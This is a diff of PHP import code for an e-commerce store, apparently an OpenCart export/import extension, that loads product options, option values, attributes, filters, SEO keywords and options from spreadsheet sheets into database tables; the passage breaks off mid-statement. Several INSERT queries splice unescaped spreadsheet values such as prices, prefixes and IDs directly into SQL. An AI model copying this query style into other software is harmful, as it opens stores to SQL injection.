+ $sql = "SELECT product_option_id, product_id, option_id FROM `".DB_PREFIX."product_option` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_option_ids = array();
+ foreach ($query->rows as $row) {
+ $product_option_id = $row['product_option_id'];
+ $product_id = $row['product_id'];
+ $option_id = $row['option_id'];
+ $old_product_option_ids[$product_id][$option_id] = $product_option_id;
+ }
+ if ($old_product_option_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_option_ids;
+ }
+
+
+ protected function deleteUnlistedProductOptions( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductOptionCells( $i, &$j, &$worksheet, &$product_option ) {
+ return;
+ }
+
+
+ protected function uploadProductOptions( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductOptions' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product options
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductOptions();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_ids = $this->getOptionIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_product_option_ids = array();
+ $previous_product_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $option_name = $this->getCell($data,$i,$j++);
+ $option_id = isset($option_ids[$option_name]) ? $option_ids[$option_name] : '';
+ }
+ if ($option_id=='') {
+ continue;
+ }
+ $option_value = $this->getCell($data,$i,$j++,'');
+ $required = $this->getCell($data,$i,$j++,'0');
+ $product_option = array();
+ $product_option['product_id'] = $product_id;
+ $product_option['option_id'] = $option_id;
+ $product_option['option_value'] = $option_value;
+ $product_option['required'] = $required;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_option_ids = $this->deleteProductOption( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductOptionCells( $i, $j, $data, $product_option );
+ $this->storeProductOptionIntoDatabase( $product_option, $old_product_option_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductOptions( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getOptionValueIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT option_id, option_value_id, name FROM `".DB_PREFIX."option_value_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $option_value_ids = array();
+ foreach ($query->rows as $row) {
+ $option_id = $row['option_id'];
+ $option_value_id = $row['option_value_id'];
+ $name = htmlspecialchars_decode($row['name']);
+ $option_value_ids[$option_id][$name] = $option_value_id;
+ }
+ return $option_value_ids;
+ }
+
+
+ protected function getProductOptionIds( $product_id ) {
+ $sql = "SELECT product_option_id, option_id FROM `".DB_PREFIX."product_option` ";
+ $sql .= "WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $product_option_ids = array();
+ foreach ($query->rows as $row) {
+ $product_option_id = $row['product_option_id'];
+ $option_id = $row['option_id'];
+ $product_option_ids[$option_id] = $product_option_id;
+ }
+ return $product_option_ids;
+ }
+
+
+ protected function storeProductOptionValueIntoDatabase( &$product_option_value, &$old_product_option_value_ids ) {
+ $product_id = $product_option_value['product_id'];
+ $option_id = $product_option_value['option_id'];
+ $option_value_id = $product_option_value['option_value_id'];
+ $quantity = $product_option_value['quantity'];
+ $subtract = $product_option_value['subtract'];
+ $subtract = ((strtoupper($subtract)=="TRUE") || (strtoupper($subtract)=="YES") || (strtoupper($subtract)=="ENABLED")) ? 1 : 0;
+ $price = $product_option_value['price'];
+ $price_prefix = $product_option_value['price_prefix'];
+ $points = $product_option_value['points'];
+ $points_prefix = $product_option_value['points_prefix'];
+ $weight = $product_option_value['weight'];
+ $weight_prefix = $product_option_value['weight_prefix'];
+ $product_option_id = $product_option_value['product_option_id'];
+ if (isset($old_product_option_value_ids[$product_id][$option_id][$option_value_id])) {
+ $product_option_value_id = $old_product_option_value_ids[$product_id][$option_id][$option_value_id];
+ $sql = "INSERT INTO `".DB_PREFIX."product_option_value` ";
+ $sql .= "(`product_option_value_id`,`product_option_id`,`product_id`,`option_id`,`option_value_id`,`quantity`,`subtract`,`price`,`price_prefix`,`points`,`points_prefix`,`weight`,`weight_prefix` ) VALUES ";
+ $sql .= "($product_option_value_id,$product_option_id,$product_id,$option_id,$option_value_id,$quantity,$subtract,$price,'$price_prefix',$points,'$points_prefix',$weight,'$weight_prefix')";
+ $this->db->query($sql);
+ unset($old_product_option_value_ids[$product_id][$option_id][$option_value_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."product_option_value` ";
+ $sql .= "(`product_option_id`,`product_id`,`option_id`,`option_value_id`,`quantity`,`subtract`,`price`,`price_prefix`,`points`,`points_prefix`,`weight`,`weight_prefix` ) VALUES ";
+ $sql .= "($product_option_id,$product_id,$option_id,$option_value_id,$quantity,$subtract,$price,'$price_prefix',$points,'$points_prefix',$weight,'$weight_prefix')";
+ $this->db->query($sql);
+ }
+ }
+
+
+ protected function deleteProductOptionValues() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_option_value`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductOptionValue( $product_id ) {
+ $sql = "SELECT product_option_value_id, product_id, option_id, option_value_id FROM `".DB_PREFIX."product_option_value` WHERE product_id='".(int)$product_id."'";
+ $query = $this->db->query( $sql );
+ $old_product_option_value_ids = array();
+ foreach ($query->rows as $row) {
+ $product_option_value_id = $row['product_option_value_id'];
+ $product_id = $row['product_id'];
+ $option_id = $row['option_id'];
+ $option_value_id = $row['option_value_id'];
+ $old_product_option_value_ids[$product_id][$option_id][$option_value_id] = $product_option_value_id;
+ }
+ if ($old_product_option_value_ids) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option_value` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ return $old_product_option_value_ids;
+ }
+
+
+ protected function deleteUnlistedProductOptionValues( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_option_value` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductOptionValueCells( $i, &$j, &$worksheet, &$product_option_value ) {
+ return;
+ }
+
+
+ protected function uploadProductOptionValues( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductOptionValues' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product option values
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductOptionValues();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_ids = $this->getOptionIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $option_value_ids = $this->getOptionValueIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_product_option_value_ids = array();
+ $previous_product_id = 0;
+ $product_option_id = 0;
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ $j = 1;
+ if ($i==0) {
+ continue;
+ }
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_option_id' )) {
+ $option_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $option_name = $this->getCell($data,$i,$j++);
+ $option_id = isset($option_ids[$option_name]) ? $option_ids[$option_name] : '';
+ }
+ if ($option_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_option_value_id' )) {
+ $option_value_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $option_value_name = $this->getCell($data,$i,$j++);
+ $option_value_id = isset($option_value_ids[$option_id][$option_value_name]) ? $option_value_ids[$option_id][$option_value_name] : '';
+ }
+ if ($option_value_id=='') {
+ continue;
+ }
+ $quantity = $this->getCell($data,$i,$j++,'0');
+ $subtract = $this->getCell($data,$i,$j++,'false');
+ $price = $this->getCell($data,$i,$j++,'0');
+ $price_prefix = $this->getCell($data,$i,$j++,'+');
+ $points = $this->getCell($data,$i,$j++,'0');
+ $points_prefix = $this->getCell($data,$i,$j++,'+');
+ $weight = $this->getCell($data,$i,$j++,'0.00');
+ $weight_prefix = $this->getCell($data,$i,$j++,'+');
+ if ($product_id != $previous_product_id) {
+ $product_option_ids = $this->getProductOptionIds( $product_id );
+ }
+ $product_option_value = array();
+ $product_option_value['product_id'] = $product_id;
+ $product_option_value['option_id'] = $option_id;
+ $product_option_value['option_value_id'] = $option_value_id;
+ $product_option_value['quantity'] = $quantity;
+ $product_option_value['subtract'] = $subtract;
+ $product_option_value['price'] = $price;
+ $product_option_value['price_prefix'] = $price_prefix;
+ $product_option_value['points'] = $points;
+ $product_option_value['points_prefix'] = $points_prefix;
+ $product_option_value['weight'] = $weight;
+ $product_option_value['weight_prefix'] = $weight_prefix;
+ $product_option_value['product_option_id'] = isset($product_option_ids[$option_id]) ? $product_option_ids[$option_id] : 0;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_product_option_value_ids = $this->deleteProductOptionValue( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductOptionValueCells( $i, $j, $data, $product_option_value );
+ $this->storeProductOptionValueIntoDatabase( $product_option_value, $old_product_option_value_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductOptionValues( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getAttributeGroupIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT attribute_group_id, name FROM `".DB_PREFIX."attribute_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $attribute_group_ids = array();
+ foreach ($query->rows as $row) {
+ $attribute_group_id = $row['attribute_group_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $attribute_group_ids[$name] = $attribute_group_id;
+ }
+ return $attribute_group_ids;
+ }
+
+
+ protected function getAttributeIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT a.attribute_group_id, ad.attribute_id, ad.name FROM `".DB_PREFIX."attribute_description` ad ";
+ $sql .= "INNER JOIN `".DB_PREFIX."attribute` a ON a.attribute_id=ad.attribute_id ";
+ $sql .= "WHERE ad.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $attribute_ids = array();
+ foreach ($query->rows as $row) {
+ $attribute_group_id = $row['attribute_group_id'];
+ $attribute_id = $row['attribute_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $attribute_ids[$attribute_group_id][$name] = $attribute_id;
+ }
+ return $attribute_ids;
+ }
+
+
+ protected function storeProductAttributeIntoDatabase( &$product_attribute, &$languages ) {
+ $product_id = $product_attribute['product_id'];
+ $attribute_id = $product_attribute['attribute_id'];
+ $texts = $product_attribute['texts'];
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $text = isset($texts[$language_code]) ? $this->db->escape($texts[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."product_attribute` (`product_id`, `attribute_id`, `language_id`, `text`) VALUES ";
+ $sql .= "( $product_id, $attribute_id, $language_id, '$text' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteProductAttributes() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_attribute`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductAttribute( $product_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_attribute` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedProductAttributes( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_attribute` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductAttributeCells( $i, &$j, &$worksheet, &$product_attribute ) {
+ return;
+ }
+
+
+ protected function uploadProductAttributes( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductAttributes' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product attributes
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductAttributes();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_ids = $this->getAttributeGroupIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_ids = $this->getAttributeIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $languages = $this->getLanguages();
+ $previous_product_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_group_id' )) {
+ $attribute_group_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $attribute_group_name = $this->getCell($data,$i,$j++);
+ $attribute_group_id = isset($attribute_group_ids[$attribute_group_name]) ? $attribute_group_ids[$attribute_group_name] : '';
+ }
+ if ($attribute_group_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_attribute_id' )) {
+ $attribute_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $attribute_name = $this->getCell($data,$i,$j++);
+ $attribute_id = isset($attribute_ids[$attribute_group_id][$attribute_name]) ? $attribute_ids[$attribute_group_id][$attribute_name] : '';
+ }
+ if ($attribute_id=='') {
+ continue;
+ }
+ $texts = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"text(")) {
+ $language_code = substr($first_row[$j-1],strlen("text("),strlen($first_row[$j-1])-strlen("text(")-1);
+ $text = $this->getCell($data,$i,$j++);
+ $text = htmlspecialchars( $text );
+ $texts[$language_code] = $text;
+ }
+ $product_attribute = array();
+ $product_attribute['product_id'] = $product_id;
+ $product_attribute['attribute_group_id'] = $attribute_group_id;
+ $product_attribute['attribute_id'] = $attribute_id;
+ $product_attribute['texts'] = $texts;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $this->deleteProductAttribute( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductAttributeCells( $i, $j, $data, $product_attribute );
+ $this->storeProductAttributeIntoDatabase( $product_attribute, $languages );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductAttributes( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function getFilterGroupIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT filter_group_id, name FROM `".DB_PREFIX."filter_group_description` ";
+ $sql .= "WHERE language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $filter_group_ids = array();
+ foreach ($query->rows as $row) {
+ $filter_group_id = $row['filter_group_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $filter_group_ids[$name] = $filter_group_id;
+ }
+ return $filter_group_ids;
+ }
+
+
+ protected function getFilterIds() {
+ $language_id = $this->getDefaultLanguageId();
+ $sql = "SELECT f.filter_group_id, fd.filter_id, fd.name FROM `".DB_PREFIX."filter_description` fd ";
+ $sql .= "INNER JOIN `".DB_PREFIX."filter` f ON f.filter_id=fd.filter_id ";
+ $sql .= "WHERE fd.language_id='".(int)$language_id."'";
+ $query = $this->db->query( $sql );
+ $filter_ids = array();
+ foreach ($query->rows as $row) {
+ $filter_group_id = $row['filter_group_id'];
+ $filter_id = $row['filter_id'];
+ $name = html_entity_decode($row['name'],ENT_QUOTES,'UTF-8');
+ $filter_ids[$filter_group_id][$name] = $filter_id;
+ }
+ return $filter_ids;
+ }
+
+
+ protected function storeProductFilterIntoDatabase( &$product_filter, &$languages ) {
+ $product_id = $product_filter['product_id'];
+ $filter_id = $product_filter['filter_id'];
+ $sql = "INSERT INTO `".DB_PREFIX."product_filter` (`product_id`, `filter_id`) VALUES ";
+ $sql .= "( $product_id, $filter_id );";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductFilters() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."product_filter`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductFilter( $product_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_filter` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteUnlistedProductFilters( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."product_filter` WHERE product_id='".(int)$product_id."'";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductFilterCells( $i, &$j, &$worksheet, &$product_filter ) {
+ return;
+ }
+
+
+ protected function uploadProductFilters( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductFilters' );
+ if ($data==null) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product filters
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductFilters();
+ }
+
+ if (!$this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_ids = $this->getFilterGroupIds();
+ }
+ if (!$this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_ids = $this->getFilterIds();
+ }
+
+ // load the worksheet cells and store them to the database
+ $languages = $this->getLanguages();
+ $previous_product_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_group_id' )) {
+ $filter_group_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_group_name = $this->getCell($data,$i,$j++);
+ $filter_group_id = isset($filter_group_ids[$filter_group_name]) ? $filter_group_ids[$filter_group_name] : '';
+ }
+ if ($filter_group_id=='') {
+ continue;
+ }
+ if ($this->config->get( 'export_import_settings_use_filter_id' )) {
+ $filter_id = $this->getCell($data,$i,$j++,'');
+ } else {
+ $filter_name = $this->getCell($data,$i,$j++);
+ $filter_id = isset($filter_ids[$filter_group_id][$filter_name]) ? $filter_ids[$filter_group_id][$filter_name] : '';
+ }
+ if ($filter_id=='') {
+ continue;
+ }
+ $product_filter = array();
+ $product_filter['product_id'] = $product_id;
+ $product_filter['filter_group_id'] = $filter_group_id;
+ $product_filter['filter_id'] = $filter_id;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $this->deleteProductFilter( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductFilterCells( $i, $j, $data, $product_filter );
+ $this->storeProductFilterIntoDatabase( $product_filter, $languages );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductFilters( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeProductSEOKeywordIntoDatabase( &$product_seo_keyword, &$languages, $old_seo_url_ids ) {
+ $product_id = $product_seo_keyword['product_id'];
+ $store_id = $product_seo_keyword['store_id'];
+ $keywords = $product_seo_keyword['keywords'];
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ if (isset($keywords[$language_code])) {
+ $keyword = $keywords[$language_code];
+ if ($keyword != '') {
+ if (isset($old_seo_url_ids[$product_id][$store_id][$language_id])) {
+ $seo_url_id = $old_seo_url_ids[$product_id][$store_id][$language_id];
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`seo_url_id`, `store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($seo_url_id, $store_id, $language_id, 'product_id=$product_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ unset($old_seo_url_ids[$product_id][$store_id][$language_id]);
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."seo_url` (`store_id`, `language_id`, `query`, `keyword`) VALUES ";
+ $sql .= "($store_id, $language_id, 'product_id=$product_id', '".$this->db->escape($keyword)."');";
+ $this->db->query( $sql );
+ }
+ }
+ }
+ }
+ }
+
+
+ protected function deleteProductSEOKeywords() {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query LIKE 'product_id=%';";
+ $this->db->query( $sql );
+ $sql = "SELECT MAX(seo_url_id) AS max_seo_url_id FROM `".DB_PREFIX."seo_url`";
+ $query = $this->db->query( $sql );
+ $max_seo_url_id = isset( $query->row['max_seo_url_id'] ) ? $query->row['max_seo_url_id'] : 0;
+ $auto_increment = $max_seo_url_id + 1;
+ $sql = "ALTER TABLE `".DB_PREFIX."seo_url` AUTO_INCREMENT = $auto_increment;";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteProductSEOKeyword( $product_id ) {
+ $old_seo_url_ids = array();
+ $sql = "SELECT * FROM `".DB_PREFIX."seo_url` WHERE query='product_id=".(int)$product_id."';";
+ $query = $this->db->query( $sql );
+ foreach ($query->rows as $row) {
+ $seo_url_id = $row['seo_url_id'];
+ $store_id = $row['store_id'];
+ $product_id = (int)substr($row['query'],strlen('product_id='));
+ $language_id = $row['language_id'];
+ $old_seo_url_ids[$product_id][$store_id][$language_id] = $seo_url_id;
+ }
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='product_id=".(int)$product_id."';";
+ $this->db->query( $sql );
+ return $old_seo_url_ids;
+ }
+
+
+ protected function deleteUnlistedProductSEOKeywords( &$unlisted_product_ids ) {
+ foreach ($unlisted_product_ids as $product_id) {
+ $sql = "DELETE FROM `".DB_PREFIX."seo_url` WHERE query='product_id=".(int)$product_id."';";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreProductSEOKeywordCells( $i, &$j, &$worksheet, &$product_seo_keyword ) {
+ return;
+ }
+
+
+ protected function uploadProductSEOKeywords( &$reader, $incremental, &$available_product_ids ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'ProductSEOKeywords' );
+ if ($data==null) {
+ return;
+ }
+
+ // if DB table 'seo_url' doesn't exist (OpenCart 1.5.x, 2.x versions) then return immediately
+ if (!$this->use_table_seo_url) {
+ return;
+ }
+
+ // if incremental then find current product IDs else delete all old product SEO keywords
+ if ($incremental) {
+ $unlisted_product_ids = $available_product_ids;
+ } else {
+ $this->deleteProductSEOKeywords();
+ }
+
+ // load the worksheet cells and store them to the database
+ $old_seo_url_ids = array();
+ $languages = $this->getLanguages();
+ $previous_product_id = 0;
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $product_id = trim($this->getCell($data,$i,$j++));
+ if ($product_id=='') {
+ continue;
+ }
+ $store_id = trim($this->getCell($data,$i,$j++));
+ if ($store_id=='') {
+ continue;
+ }
+ $keywords = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"keyword(")) {
+ $language_code = substr($first_row[$j-1],strlen("keyword("),strlen($first_row[$j-1])-strlen("keyword(")-1);
+ $keyword = trim($this->getCell($data,$i,$j++,''));
+ $keyword = htmlspecialchars( $keyword );
+ $keywords[$language_code] = $keyword;
+ }
+ $product_seo_keyword = array();
+ $product_seo_keyword['product_id'] = $product_id;
+ $product_seo_keyword['store_id'] = $store_id;
+ $product_seo_keyword['keywords'] = $keywords;
+ if (($incremental) && ($product_id != $previous_product_id)) {
+ $old_seo_url_ids = $this->deleteProductSEOKeyword( $product_id );
+ if (isset($unlisted_product_ids[$product_id])) {
+ unset($unlisted_product_ids[$product_id]);
+ }
+ }
+ $this->moreProductSEOKeywordCells( $i, $j, $data, $product_seo_keyword );
+ $this->storeProductSEOKeywordIntoDatabase( $product_seo_keyword, $languages, $old_seo_url_ids );
+ $previous_product_id = $product_id;
+ }
+ if ($incremental) {
+ $this->deleteUnlistedProductSEOKeywords( $unlisted_product_ids );
+ }
+ }
+
+
+ protected function storeOptionIntoDatabase( &$option, &$languages ) {
+ $option_id = $option['option_id'];
+ $type = $option['type'];
+ $sort_order = $option['sort_order'];
+ $names = $option['names'];
+ $sql = "INSERT INTO `".DB_PREFIX."option` (`option_id`,`type`,`sort_order`) VALUES ";
+ $sql .= "( $option_id, '".$this->db->escape($type)."', $sort_order );";
+ $this->db->query( $sql );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ $language_id = $language['language_id'];
+ $name = isset($names[$language_code]) ? $this->db->escape($names[$language_code]) : '';
+ $sql = "INSERT INTO `".DB_PREFIX."option_description` (`option_id`, `language_id`, `name`) VALUES ";
+ $sql .= "( $option_id, $language_id, '$name' );";
+ $this->db->query( $sql );
+ }
+ }
+
+
+ protected function deleteOptions() {
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option`";
+ $this->db->query( $sql );
+ $sql = "TRUNCATE TABLE `".DB_PREFIX."option_description`";
+ $this->db->query( $sql );
+ }
+
+
+ protected function deleteOption( $option_id ) {
+ $sql = "DELETE FROM `".DB_PREFIX."option` WHERE option_id='".(int)$option_id."'";
+ $this->db->query( $sql );
+ $sql = "DELETE FROM `".DB_PREFIX."option_description` WHERE option_id='".(int)$option_id."'";
+ $this->db->query( $sql );
+ }
+
+
+ // function for reading additional cells in class extensions
+ protected function moreOptionCells( $i, &$j, &$worksheet, &$option ) {
+ return;
+ }
+
+
+ protected function uploadOptions( &$reader, $incremental ) {
+ // get worksheet, if not there return immediately
+ $data = $reader->getSheetByName( 'Options' );
+ if ($data==null) {
+ return;
+ }
+
+ // find the installed languages
+ $languages = $this->getLanguages();
+
+ // if not incremental then delete all old options
+ if (!$incremental) {
+ $this->deleteOptions();
+ }
+
+ // load the worksheet cells and store them to the database
+ $first_row = array();
+ $i = 0;
+ $k = $data->getHighestRow();
+ for ($i=0; $i<$k; $i+=1) {
+ if ($i==0) {
+ $max_col = PhpOffice\PhpSpreadsheet\Cell\Coordinate::columnIndexFromString( $data->getHighestColumn() );
+ for ($j=1; $j<=$max_col; $j+=1) {
+ $first_row[] = $this->getCell($data,$i,$j);
+ }
+ continue;
+ }
+ $j = 1;
+ $option_id = trim($this->getCell($data,$i,$j++));
+ if ($option_id=='') {
+ continue;
+ }
+ $type = $this->getCell($data,$i,$j++,'');
+ $sort_order = $this->getCell($data,$i,$j++,'0');
+ $names = array();
+ while (($j<=$max_col) && $this->startsWith($first_row[$j-1],"name(")) {
+ $language_code = substr($first_row[$j-1],strlen("name("),strlen($first_row[$j-1])-strlen("name(")-1);
+ $name = $this->getCell($data,$i,$j++);
+ $name = htmlspecialchars( $name );
+ $names[$language_code] = $name;
+ }
+ $option = array();
+ $option['option_id'] = $option_id;
+ $option['type'] = $type;
+ $option['sort_order'] = $sort_order;
+ $option['names'] = $names;
+ if ($incremental) {
+ $this->deleteOption( $option_id );
+ }
+ $this->moreOptionCells( $i, $j, $data, $option );
+ $this->storeOptionIntoDatabase( $option, $languages );
+ }
+ }
+
+
+ protected function storeOptionValueIntoDatabase( &$option_value, &$languages, $exist_image=true ) {
+ $option_value_id = $option_value['option_value_id'];
+ $option_id = $option_value['option_id'];
+ if ($exist_image) {
+ $image = $option_value['image'];
+ }
+ $sort_order = $option_value['sort_order'];
+ $names = $option_value['names'];
+ if ($exist_image) {
+ $sql = "INSERT INTO `".DB_PREFIX."option_value` (`option_value_id`,`option_id`,`image`,`sort_order`) VALUES ";
+ $sql .= "( $option_value_id, $option_id, '".$this->db->escape($image)."', $sort_order );";
+ } else {
+ $sql = "INSERT INTO `".DB_PREFIX."option_value` (`option_value_id`,`option_id`,`sort_order`) VALUES ";
